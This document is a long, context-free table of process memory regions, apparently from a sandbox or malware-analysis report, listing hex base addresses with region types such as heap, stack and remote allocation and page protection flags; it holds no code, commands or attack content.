C06D000
|
unkown
|
page read and write
|
||
|
7FF556F9E000
|
unkown
|
page readonly
|
||
|
20477152000
|
heap
|
page read and write
|
||
|
7FF5572A2000
|
unkown
|
page readonly
|
||
|
430000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF5574C6000
|
unkown
|
page readonly
|
||
|
7FFAAB710000
|
trusted library allocation
|
page read and write
|
||
|
5148000
|
trusted library allocation
|
page read and write
|
||
|
BBBA000
|
stack
|
page read and write
|
||
|
4919000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
2CC0000
|
heap
|
page read and write
|
||
|
C6E3000
|
unkown
|
page read and write
|
||
|
4680000
|
heap
|
page readonly
|
||
|
7FF55747D000
|
unkown
|
page readonly
|
||
|
198000
|
stack
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
3450000
|
unkown
|
page read and write
|
||
|
B5F000
|
stack
|
page read and write
|
||
|
B080000
|
unkown
|
page read and write
|
||
|
5E8000
|
heap
|
page read and write
|
||
|
4781000
|
unkown
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
1A8C38A6000
|
heap
|
page read and write
|
||
|
FD0000
|
unkown
|
page readonly
|
||
|
4732000
|
unkown
|
page read and write
|
||
|
A0A8000
|
unkown
|
page read and write
|
||
|
3220000
|
unkown
|
page readonly
|
||
|
86C0000
|
direct allocation
|
page read and write
|
||
|
2047774A000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FFAAB811000
|
trusted library allocation
|
page read and write
|
||
|
7FF557554000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
8510000
|
unkown
|
page read and write
|
||
|
20477194000
|
heap
|
page read and write
|
||
|
730000
|
trusted library allocation
|
page read and write
|
||
|
81D0000
|
trusted library allocation
|
page read and write
|
||
|
A0A8000
|
unkown
|
page read and write
|
||
|
1A8C5310000
|
heap
|
page read and write
|
||
|
B70000
|
heap
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
7DF4689A1000
|
unkown
|
page execute read
|
||
|
C669000
|
unkown
|
page read and write
|
||
|
C59000
|
heap
|
page read and write
|
||
|
9D8E000
|
stack
|
page read and write
|
||
|
20476C58000
|
heap
|
page read and write
|
||
|
1C56DAA0000
|
heap
|
page read and write
|
||
|
7FF557083000
|
unkown
|
page readonly
|
||
|
A8BD000
|
unkown
|
page read and write
|
||
|
7FF5572AC000
|
unkown
|
page readonly
|
||
|
4840000
|
unkown
|
page read and write
|
||
|
6F50000
|
heap
|
page read and write
|
||
|
7FF5570F7000
|
unkown
|
page readonly
|
||
|
20477074000
|
heap
|
page read and write
|
||
|
7FF5574B3000
|
unkown
|
page readonly
|
||
|
7FF55753D000
|
unkown
|
page readonly
|
||
|
477D000
|
unkown
|
page read and write
|
||
|
7FF5573EA000
|
unkown
|
page readonly
|
||
|
B010000
|
unkown
|
page readonly
|
||
|
9086000
|
unkown
|
page read and write
|
||
|
FB0000
|
unkown
|
page read and write
|
||
|
8497000
|
heap
|
page read and write
|
||
|
7FF5575E0000
|
unkown
|
page readonly
|
||
|
A28C000
|
unkown
|
page read and write
|
||
|
7FF557571000
|
unkown
|
page readonly
|
||
|
7FF557487000
|
unkown
|
page readonly
|
||
|
20477087000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
336D000
|
stack
|
page read and write
|
||
|
C404000
|
unkown
|
page read and write
|
||
|
8080000
|
trusted library allocation
|
page execute and read and write
|
||
|
20477085000
|
heap
|
page read and write
|
||
|
2B54000
|
heap
|
page read and write
|
||
|
A85A000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
B90000
|
direct allocation
|
page read and write
|
||
|
C328000
|
unkown
|
page read and write
|
||
|
7300000
|
heap
|
page read and write
|
||
|
101D9000
|
unkown
|
page read and write
|
||
|
C1DB000
|
unkown
|
page read and write
|
||
|
2ADE000
|
stack
|
page read and write
|
||
|
BA0000
|
direct allocation
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
7FFAAB71C000
|
trusted library allocation
|
page execute and read and write
|
||
|
2047774A000
|
heap
|
page read and write
|
||
|
7FF55722A000
|
unkown
|
page readonly
|
||
|
F22A000
|
stack
|
page read and write
|
||
|
7FF55728F000
|
unkown
|
page readonly
|
||
|
84DC000
|
stack
|
page read and write
|
||
|
6BBE000
|
stack
|
page read and write
|
||
|
2251D000
|
direct allocation
|
page execute and read and write
|
||
|
A8D3000
|
unkown
|
page read and write
|
||
|
7400000
|
trusted library allocation
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
600000
|
heap
|
page read and write
|
||
|
2F5D000
|
unkown
|
page read and write
|
||
|
7FF556E7E000
|
unkown
|
page readonly
|
||
|
204770F5000
|
heap
|
page read and write
|
||
|
7FF557239000
|
unkown
|
page readonly
|
||
|
7FFAAB662000
|
trusted library allocation
|
page read and write
|
||
|
1A8C5D2D000
|
trusted library allocation
|
page read and write
|
||
|
7FFAAB8C0000
|
trusted library allocation
|
page read and write
|
||
|
A889000
|
unkown
|
page read and write
|
||
|
7FFAAB970000
|
trusted library allocation
|
page read and write
|
||
|
102C4000
|
unkown
|
page read and write
|
||
|
8320000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
C20000
|
direct allocation
|
page read and write
|
||
|
72FC000
|
unkown
|
page read and write
|
||
|
20477046000
|
heap
|
page read and write
|
||
|
73D0000
|
unkown
|
page read and write
|
||
|
7FF556F84000
|
unkown
|
page readonly
|
||
|
1173B000
|
unkown
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
C30000
|
direct allocation
|
page read and write
|
||
|
495D000
|
stack
|
page read and write
|
||
|
A304DFC000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
3440000
|
unkown
|
page readonly
|
||
|
204770D4000
|
heap
|
page read and write
|
||
|
8914000
|
unkown
|
page read and write
|
||
|
730000
|
trusted library allocation
|
page read and write
|
||
|
7330000
|
heap
|
page read and write
|
||
|
50BC000
|
stack
|
page read and write
|
||
|
1C0ABFC0000
|
heap
|
page read and write
|
||
|
46A8000
|
trusted library allocation
|
page read and write
|
||
|
7FF556E3F000
|
unkown
|
page readonly
|
||
|
A0BF000
|
unkown
|
page read and write
|
||
|
1A8DD810000
|
heap
|
page read and write
|
||
|
7FF5574F1000
|
unkown
|
page readonly
|
||
|
77D0000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
8680000
|
trusted library allocation
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
50A1000
|
trusted library allocation
|
page read and write
|
||
|
7FF5569FA000
|
unkown
|
page readonly
|
||
|
7FF5573F3000
|
unkown
|
page readonly
|
||
|
B7AA000
|
stack
|
page read and write
|
||
|
1A8C5D5A000
|
trusted library allocation
|
page read and write
|
||
|
A8E6000
|
unkown
|
page read and write
|
||
|
6A0000
|
heap
|
page read and write
|
||
|
21FCB000
|
stack
|
page read and write
|
||
|
2E0A000
|
stack
|
page read and write
|
||
|
75E0000
|
trusted library allocation
|
page read and write
|
||
|
C401000
|
unkown
|
page read and write
|
||
|
E1B9000
|
stack
|
page read and write
|
||
|
9F8F000
|
stack
|
page read and write
|
||
|
7FF5571AC000
|
unkown
|
page readonly
|
||
|
A222000
|
unkown
|
page read and write
|
||
|
5A76DFE000
|
stack
|
page read and write
|
||
|
2047711D000
|
heap
|
page read and write
|
||
|
9854000
|
unkown
|
page read and write
|
||
|
7FF55702F000
|
unkown
|
page readonly
|
||
|
1A8C51F0000
|
trusted library allocation
|
page read and write
|
||
|
20476FF1000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
8310000
|
unkown
|
page readonly
|
||
|
7FF5569E8000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF557352000
|
unkown
|
page readonly
|
||
|
204770F6000
|
heap
|
page read and write
|
||
|
7FF557113000
|
unkown
|
page readonly
|
||
|
20476FF3000
|
heap
|
page read and write
|
||
|
3230000
|
unkown
|
page read and write
|
||
|
9580000
|
unkown
|
page readonly
|
||
|
62CC6FF000
|
stack
|
page read and write
|
||
|
204770FA000
|
heap
|
page read and write
|
||
|
4788000
|
heap
|
page read and write
|
||
|
7FF55722A000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
77C0000
|
unkown
|
page read and write
|
||
|
3460000
|
unkown
|
page read and write
|
||
|
20475308000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
A286000
|
unkown
|
page read and write
|
||
|
9A60000
|
system
|
page execute and read and write
|
||
|
32C7000
|
unkown
|
page read and write
|
||
|
7FF557501000
|
unkown
|
page readonly
|
||
|
20476FF0000
|
heap
|
page read and write
|
||
|
7FF557476000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF5573B0000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF556E7E000
|
unkown
|
page readonly
|
||
|
7FF5572D4000
|
unkown
|
page readonly
|
||
|
7FF557653000
|
unkown
|
page readonly
|
||
|
815E000
|
stack
|
page read and write
|
||
|
8D60000
|
unkown
|
page read and write
|
||
|
7670000
|
trusted library allocation
|
page read and write
|
||
|
7FF557579000
|
unkown
|
page readonly
|
||
|
330A000
|
unkown
|
page read and write
|
||
|
4800000
|
unkown
|
page read and write
|
||
|
7FF5574A9000
|
unkown
|
page readonly
|
||
|
22375000
|
heap
|
page read and write
|
||
|
C7CC000
|
unkown
|
page read and write
|
||
|
7162000
|
unkown
|
page read and write
|
||
|
88FA000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
435000
|
heap
|
page read and write
|
||
|
730000
|
trusted library allocation
|
page read and write
|
||
|
E2A0000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
8F27000
|
unkown
|
page read and write
|
||
|
7FFB1E3B6000
|
unkown
|
page readonly
|
||
|
C1E9000
|
unkown
|
page read and write
|
||
|
81C0000
|
trusted library allocation
|
page read and write
|
||
|
7FF55700F000
|
unkown
|
page readonly
|
||
|
842F000
|
stack
|
page read and write
|
||
|
1A8DD816000
|
heap
|
page read and write
|
||
|
C244000
|
unkown
|
page read and write
|
||
|
3225000
|
heap
|
page read and write
|
||
|
7620000
|
trusted library allocation
|
page read and write
|
||
|
435000
|
heap
|
page read and write
|
||
|
7FF546F35000
|
unkown
|
page readonly
|
||
|
A110000
|
unkown
|
page read and write
|
||
|
7FFAAB9A0000
|
trusted library allocation
|
page read and write
|
||
|
204750B0000
|
heap
|
page read and write
|
||
|
C664000
|
unkown
|
page read and write
|
||
|
7FF546F2F000
|
unkown
|
page readonly
|
||
|
AD10000
|
unkown
|
page readonly
|
||
|
E280000
|
unkown
|
page read and write
|
||
|
8EC5000
|
unkown
|
page read and write
|
||
|
20477090000
|
heap
|
page read and write
|
||
|
57EF000
|
stack
|
page read and write
|
||
|
435000
|
heap
|
page read and write
|
||
|
7FF5575BF000
|
unkown
|
page readonly
|
||
|
A0A5000
|
unkown
|
page read and write
|
||
|
7FF557037000
|
unkown
|
page readonly
|
||
|
7FF5575EA000
|
unkown
|
page readonly
|
||
|
7FF5569FA000
|
unkown
|
page readonly
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
864F000
|
stack
|
page read and write
|
||
|
7185000
|
unkown
|
page read and write
|
||
|
79B0000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
B5AE000
|
stack
|
page read and write
|
||
|
20475183000
|
heap
|
page read and write
|
||
|
7FFAAB664000
|
trusted library allocation
|
page read and write
|
||
|
7FF5575B1000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
20477690000
|
heap
|
page read and write
|
||
|
7FF556FC4000
|
unkown
|
page readonly
|
||
|
22090000
|
heap
|
page read and write
|
||
|
88EE000
|
unkown
|
page read and write
|
||
|
D9B000
|
heap
|
page read and write
|
||
|
1C56BFA0000
|
heap
|
page read and write
|
||
|
7FF5573A9000
|
unkown
|
page readonly
|
||
|
20476C57000
|
heap
|
page read and write
|
||
|
7FF557549000
|
unkown
|
page readonly
|
||
|
7FF557531000
|
unkown
|
page readonly
|
||
|
A225000
|
unkown
|
page read and write
|
||
|
1A8C72E7000
|
trusted library allocation
|
page read and write
|
||
|
204770E5000
|
heap
|
page read and write
|
||
|
1A8C5315000
|
heap
|
page read and write
|
||
|
2A3A000
|
heap
|
page read and write
|
||
|
7FF557174000
|
unkown
|
page readonly
|
||
|
A87A000
|
unkown
|
page read and write
|
||
|
7FF556E3F000
|
unkown
|
page readonly
|
||
|
7FF55738F000
|
unkown
|
page readonly
|
||
|
355E000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
3118000
|
stack
|
page read and write
|
||
|
71A4000
|
unkown
|
page read and write
|
||
|
7276000
|
unkown
|
page read and write
|
||
|
7FF5574F9000
|
unkown
|
page readonly
|
||
|
2047707D000
|
heap
|
page read and write
|
||
|
1C0ABF90000
|
heap
|
page read and write
|
||
|
21F00000
|
remote allocation
|
page read and write
|
||
|
7DF468980000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
7909000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF557352000
|
unkown
|
page readonly
|
||
|
2F09000
|
stack
|
page read and write
|
||
|
7FF557042000
|
unkown
|
page readonly
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
204770E8000
|
heap
|
page read and write
|
||
|
102C4000
|
unkown
|
page read and write
|
||
|
7FF557393000
|
unkown
|
page readonly
|
||
|
28D5000
|
direct allocation
|
page read and write
|
||
|
7FF556E85000
|
unkown
|
page readonly
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
C3E7000
|
unkown
|
page read and write
|
||
|
7FF5571A1000
|
unkown
|
page readonly
|
||
|
7F9A0000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FF5571DF000
|
unkown
|
page readonly
|
||
|
495F000
|
unclassified section
|
page read and write
|
||
|
C664000
|
unkown
|
page read and write
|
||
|
20477174000
|
heap
|
page read and write
|
||
|
C78F000
|
unkown
|
page read and write
|
||
|
C233000
|
unkown
|
page read and write
|
||
|
D38000
|
heap
|
page read and write
|
||
|
32E6000
|
unkown
|
page read and write
|
||
|
20475160000
|
heap
|
page read and write
|
||
|
4810000
|
unkown
|
page read and write
|
||
|
C0F3000
|
unkown
|
page read and write
|
||
|
101CB000
|
unkown
|
page read and write
|
||
|
8D7A000
|
unkown
|
page read and write
|
||
|
7FFAAB67B000
|
trusted library allocation
|
page read and write
|
||
|
7FF557330000
|
unkown
|
page readonly
|
||
|
A156000
|
unkown
|
page read and write
|
||
|
1C0AC190000
|
heap
|
page read and write
|
||
|
20477012000
|
heap
|
page read and write
|
||
|
A888000
|
unkown
|
page read and write
|
||
|
C40000
|
direct allocation
|
page read and write
|
||
|
5C0000
|
heap
|
page read and write
|
||
|
7DF468991000
|
unkown
|
page execute read
|
||
|
8F09000
|
unkown
|
page read and write
|
||
|
2047514A000
|
heap
|
page read and write
|
||
|
7FF5575A1000
|
unkown
|
page readonly
|
||
|
B4A6000
|
stack
|
page read and write
|
||
|
DE0000
|
heap
|
page read and write
|
||
|
1A8C51B0000
|
heap
|
page execute and read and write
|
||
|
7FF557456000
|
unkown
|
page readonly
|
||
|
E23E000
|
stack
|
page read and write
|
||
|
7FF557607000
|
unkown
|
page readonly
|
||
|
1A8C6D9F000
|
trusted library allocation
|
page read and write
|
||
|
4F40000
|
heap
|
page read and write
|
||
|
8D74000
|
unkown
|
page read and write
|
||
|
8D6A000
|
unkown
|
page read and write
|
||
|
45D0000
|
trusted library allocation
|
page read and write
|
||
|
9398000
|
unkown
|
page execute and read and write
|
||
|
40B0000
|
heap
|
page read and write
|
||
|
1A8DD930000
|
heap
|
page read and write
|
||
|
1A8C38EE000
|
heap
|
page read and write
|
||
|
1A8C72D7000
|
trusted library allocation
|
page read and write
|
||
|
6EC41000
|
unkown
|
page execute read
|
||
|
7FFAAB8D0000
|
trusted library allocation
|
page read and write
|
||
|
C00000
|
direct allocation
|
page read and write
|
||
|
204771B1000
|
heap
|
page read and write
|
||
|
435000
|
heap
|
page read and write
|
||
|
2047727D000
|
heap
|
page read and write
|
||
|
73D0000
|
heap
|
page read and write
|
||
|
6EC40000
|
unkown
|
page readonly
|
||
|
97E7000
|
unkown
|
page read and write
|
||
|
51E2000
|
trusted library allocation
|
page read and write
|
||
|
41D6000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
204771F8000
|
heap
|
page read and write
|
||
|
D90000
|
heap
|
page read and write
|
||
|
226BD000
|
direct allocation
|
page execute and read and write
|
||
|
3440000
|
unkown
|
page readonly
|
||
|
C00000
|
heap
|
page read and write
|
||
|
7FF557026000
|
unkown
|
page readonly
|
||
|
6E4A000
|
stack
|
page read and write
|
||
|
1A8DDA14000
|
heap
|
page read and write
|
||
|
4A5E000
|
stack
|
page read and write
|
||
|
7FF556E6C000
|
unkown
|
page readonly
|
||
|
20477704000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
20477053000
|
heap
|
page read and write
|
||
|
7610000
|
trusted library allocation
|
page read and write
|
||
|
20477110000
|
heap
|
page read and write
|
||
|
7803000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
C6D000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
C31000
|
unkown
|
page readonly
|
||
|
62CC77F000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
EAF000
|
stack
|
page read and write
|
||
|
32DB000
|
unkown
|
page read and write
|
||
|
7FF5570D6000
|
unkown
|
page readonly
|
||
|
22371000
|
heap
|
page read and write
|
||
|
7FF5570D4000
|
unkown
|
page readonly
|
||
|
204770B1000
|
heap
|
page read and write
|
||
|
20477170000
|
heap
|
page read and write
|
||
|
4DC9000
|
trusted library allocation
|
page read and write
|
||
|
2DD0000
|
trusted library section
|
page read and write
|
||
|
1A8DDA95000
|
heap
|
page read and write
|
||
|
7FF5572B4000
|
unkown
|
page readonly
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
612F000
|
heap
|
page read and write
|
||
|
7FF55731B000
|
unkown
|
page readonly
|
||
|
11733000
|
unkown
|
page read and write
|
||
|
586F000
|
stack
|
page read and write
|
||
|
7650000
|
trusted library allocation
|
page read and write
|
||
|
7A80000
|
unkown
|
page readonly
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
463E000
|
stack
|
page read and write
|
||
|
20477110000
|
heap
|
page read and write
|
||
|
7FF55752E000
|
unkown
|
page readonly
|
||
|
20476FFA000
|
heap
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
5540000
|
trusted library allocation
|
page read and write
|
||
|
7FF55733F000
|
unkown
|
page readonly
|
||
|
99B0000
|
direct allocation
|
page execute and read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
A0A5000
|
unkown
|
page read and write
|
||
|
10A0000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
2047773E000
|
heap
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
6F4B000
|
stack
|
page read and write
|
||
|
7FF557246000
|
unkown
|
page readonly
|
||
|
4F99000
|
trusted library allocation
|
page read and write
|
||
|
A8D3000
|
unkown
|
page read and write
|
||
|
4870000
|
unkown
|
page read and write
|
||
|
20477144000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
2DE0000
|
heap
|
page read and write
|
||
|
7FF5575BD000
|
unkown
|
page readonly
|
||
|
7FFAAB920000
|
trusted library allocation
|
page read and write
|
||
|
7FF557607000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
428E000
|
stack
|
page read and write
|
||
|
8090000
|
heap
|
page read and write
|
||
|
A8DC000
|
unkown
|
page read and write
|
||
|
902C000
|
unkown
|
page read and write
|
||
|
7FF5571E2000
|
unkown
|
page readonly
|
||
|
A231000
|
unkown
|
page read and write
|
||
|
90DB000
|
unkown
|
page read and write
|
||
|
84E0000
|
unkown
|
page readonly
|
||
|
7FF5573E6000
|
unkown
|
page readonly
|
||
|
8700000
|
direct allocation
|
page read and write
|
||
|
7FF557594000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
5A77E8B000
|
stack
|
page read and write
|
||
|
887000
|
heap
|
page read and write
|
||
|
7FF55700F000
|
unkown
|
page readonly
|
||
|
7FF557246000
|
unkown
|
page readonly
|
||
|
C480000
|
unkown
|
page read and write
|
||
|
7FF557106000
|
unkown
|
page readonly
|
||
|
41C1000
|
trusted library allocation
|
page execute and read and write
|
||
|
B340000
|
system
|
page execute and read and write
|
||
|
7FF556E7C000
|
unkown
|
page readonly
|
||
|
21EEE000
|
stack
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
3350000
|
unkown
|
page readonly
|
||
|
2047773E000
|
heap
|
page read and write
|
||
|
7E03000
|
stack
|
page read and write
|
||
|
7FF55726C000
|
unkown
|
page readonly
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
73F0000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF55706A000
|
unkown
|
page readonly
|
||
|
7FFAAB860000
|
trusted library allocation
|
page read and write
|
||
|
7FF5574BA000
|
unkown
|
page readonly
|
||
|
47DB000
|
unkown
|
page read and write
|
||
|
7FF55719C000
|
unkown
|
page readonly
|
||
|
25F5000
|
direct allocation
|
page read and write
|
||
|
7FF55708D000
|
unkown
|
page readonly
|
||
|
582E000
|
stack
|
page read and write
|
||
|
204770F8000
|
heap
|
page read and write
|
||
|
543000
|
heap
|
page read and write
|
||
|
2047725C000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7BC1000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF557653000
|
unkown
|
page readonly
|
||
|
7FF5575D0000
|
unkown
|
page readonly
|
||
|
84DC000
|
heap
|
page read and write
|
||
|
22732000
|
direct allocation
|
page execute and read and write
|
||
|
4510000
|
heap
|
page read and write
|
||
|
A118000
|
unkown
|
page read and write
|
||
|
7FF557568000
|
unkown
|
page readonly
|
||
|
6EC5F000
|
unkown
|
page readonly
|
||
|
46F0000
|
unkown
|
page read and write
|
||
|
20477134000
|
heap
|
page read and write
|
||
|
88A0000
|
unkown
|
page read and write
|
||
|
6C0000
|
trusted library allocation
|
page read and write
|
||
|
32D3000
|
unkown
|
page read and write
|
||
|
4750000
|
trusted library allocation
|
page read and write
|
||
|
8D70000
|
unkown
|
page read and write
|
||
|
1A8DD8D3000
|
heap
|
page read and write
|
||
|
7FF5570E7000
|
unkown
|
page readonly
|
||
|
7178000
|
unkown
|
page read and write
|
||
|
883000
|
heap
|
page read and write
|
||
|
4A59000
|
unclassified section
|
page read and write
|
||
|
221B3000
|
heap
|
page read and write
|
||
|
7FF55733B000
|
unkown
|
page readonly
|
||
|
1A8C5980000
|
trusted library allocation
|
page read and write
|
||
|
9013000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
5C20000
|
heap
|
page read and write
|
||
|
6BFF000
|
stack
|
page read and write
|
||
|
204776FA000
|
heap
|
page read and write
|
||
|
F1AA000
|
heap
|
page read and write
|
||
|
2A69000
|
heap
|
page read and write
|
||
|
6D0000
|
trusted library allocation
|
page read and write
|
||
|
89D4000
|
unkown
|
page read and write
|
||
|
7306000
|
unkown
|
page read and write
|
||
|
C3F7000
|
unkown
|
page read and write
|
||
|
20477239000
|
heap
|
page read and write
|
||
|
89C0000
|
unkown
|
page read and write
|
||
|
F1A2000
|
heap
|
page read and write
|
||
|
2047705C000
|
heap
|
page read and write
|
||
|
55C9000
|
system
|
page read and write
|
||
|
32B9000
|
unkown
|
page read and write
|
||
|
20477005000
|
heap
|
page read and write
|
||
|
7FF556FE3000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
22740000
|
unclassified section
|
page execute and read and write
|
||
|
2047707F000
|
heap
|
page read and write
|
||
|
E60000
|
unkown
|
page readonly
|
||
|
900000
|
unkown
|
page readonly
|
||
|
204770F1000
|
heap
|
page read and write
|
||
|
1A8C72BF000
|
trusted library allocation
|
page read and write
|
||
|
32D7000
|
unkown
|
page read and write
|
||
|
204771AC000
|
heap
|
page read and write
|
||
|
7FF556E7B000
|
unkown
|
page readonly
|
||
|
848000
|
heap
|
page read and write
|
||
|
DED000
|
heap
|
page read and write
|
||
|
7FF55731B000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
3427000
|
heap
|
page read and write
|
||
|
7FF556E6C000
|
unkown
|
page readonly
|
||
|
A231000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
55AF000
|
system
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
B040000
|
unkown
|
page readonly
|
||
|
1A8C72F8000
|
trusted library allocation
|
page read and write
|
||
|
DA5000
|
heap
|
page read and write
|
||
|
223F0000
|
direct allocation
|
page execute and read and write
|
||
|
20477039000
|
heap
|
page read and write
|
||
|
E13B000
|
stack
|
page read and write
|
||
|
20477241000
|
heap
|
page read and write
|
||
|
ADB0000
|
direct allocation
|
page execute and read and write
|
||
|
45D2000
|
trusted library allocation
|
page read and write
|
||
|
730000
|
trusted library allocation
|
page read and write
|
||
|
4C7F000
|
stack
|
page read and write
|
||
|
1A8C38F6000
|
heap
|
page read and write
|
||
|
7FF557413000
|
unkown
|
page readonly
|
||
|
2D0B000
|
stack
|
page read and write
|
||
|
7FF5572AC000
|
unkown
|
page readonly
|
||
|
8200000
|
trusted library allocation
|
page read and write
|
||
|
7FF557264000
|
unkown
|
page readonly
|
||
|
E270000
|
unkown
|
page read and write
|
||
|
20475309000
|
heap
|
page read and write
|
||
|
7FF557095000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
A87A000
|
unkown
|
page read and write
|
||
|
342B000
|
heap
|
page read and write
|
||
|
20476C5B000
|
heap
|
page read and write
|
||
|
A858000
|
unkown
|
page read and write
|
||
|
7E05000
|
stack
|
page read and write
|
||
|
204771C5000
|
heap
|
page read and write
|
||
|
88F000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
4781000
|
unkown
|
page read and write
|
||
|
7FF557416000
|
unkown
|
page readonly
|
||
|
20475305000
|
heap
|
page read and write
|
||
|
20477087000
|
heap
|
page read and write
|
||
|
7FF5571B3000
|
unkown
|
page readonly
|
||
|
5A76A7E000
|
stack
|
page read and write
|
||
|
7FF556FEE000
|
unkown
|
page readonly
|
||
|
4718000
|
unkown
|
page read and write
|
||
|
B72C000
|
stack
|
page read and write
|
||
|
20477279000
|
heap
|
page read and write
|
||
|
A0FF000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
45CA000
|
trusted library allocation
|
page execute and read and write
|
||
|
2B62000
|
heap
|
page read and write
|
||
|
48DB000
|
stack
|
page read and write
|
||
|
301F000
|
stack
|
page read and write
|
||
|
88FA000
|
unkown
|
page read and write
|
||
|
9D8E000
|
stack
|
page read and write
|
||
|
53B6000
|
system
|
page read and write
|
||
|
7FF55756D000
|
unkown
|
page readonly
|
||
|
20477086000
|
heap
|
page read and write
|
||
|
910000
|
unkown
|
page readonly
|
||
|
4539000
|
direct allocation
|
page execute and read and write
|
||
|
2047722B000
|
heap
|
page read and write
|
||
|
20475128000
|
heap
|
page read and write
|
||
|
101CB000
|
unkown
|
page read and write
|
||
|
7FF557589000
|
unkown
|
page readonly
|
||
|
2047773E000
|
heap
|
page read and write
|
||
|
C31000
|
unkown
|
page readonly
|
||
|
3220000
|
heap
|
page read and write
|
||
|
226C1000
|
direct allocation
|
page execute and read and write
|
||
|
8D9A000
|
unkown
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
C3ED000
|
unkown
|
page read and write
|
||
|
7450000
|
trusted library allocation
|
page read and write
|
||
|
4746000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FFB1E3C5000
|
unkown
|
page readonly
|
||
|
20476B20000
|
remote allocation
|
page read and write
|
||
|
3220000
|
unkown
|
page readonly
|
||
|
204771C8000
|
heap
|
page read and write
|
||
|
1A8C51A6000
|
heap
|
page execute and read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
47EE000
|
unkown
|
page read and write
|
||
|
7FF557416000
|
unkown
|
page readonly
|
||
|
1A8C3950000
|
heap
|
page read and write
|
||
|
75D0000
|
trusted library allocation
|
page read and write
|
||
|
10246000
|
unkown
|
page read and write
|
||
|
20475100000
|
heap
|
page read and write
|
||
|
6C3E000
|
stack
|
page read and write
|
||
|
8D6A000
|
unkown
|
page read and write
|
||
|
7FF5571A1000
|
unkown
|
page readonly
|
||
|
45B9000
|
trusted library allocation
|
page read and write
|
||
|
22381000
|
trusted library allocation
|
page execute and read and write
|
||
|
B7AA000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
204776BA000
|
heap
|
page read and write
|
||
|
C80000
|
heap
|
page read and write
|
||
|
6B9000
|
stack
|
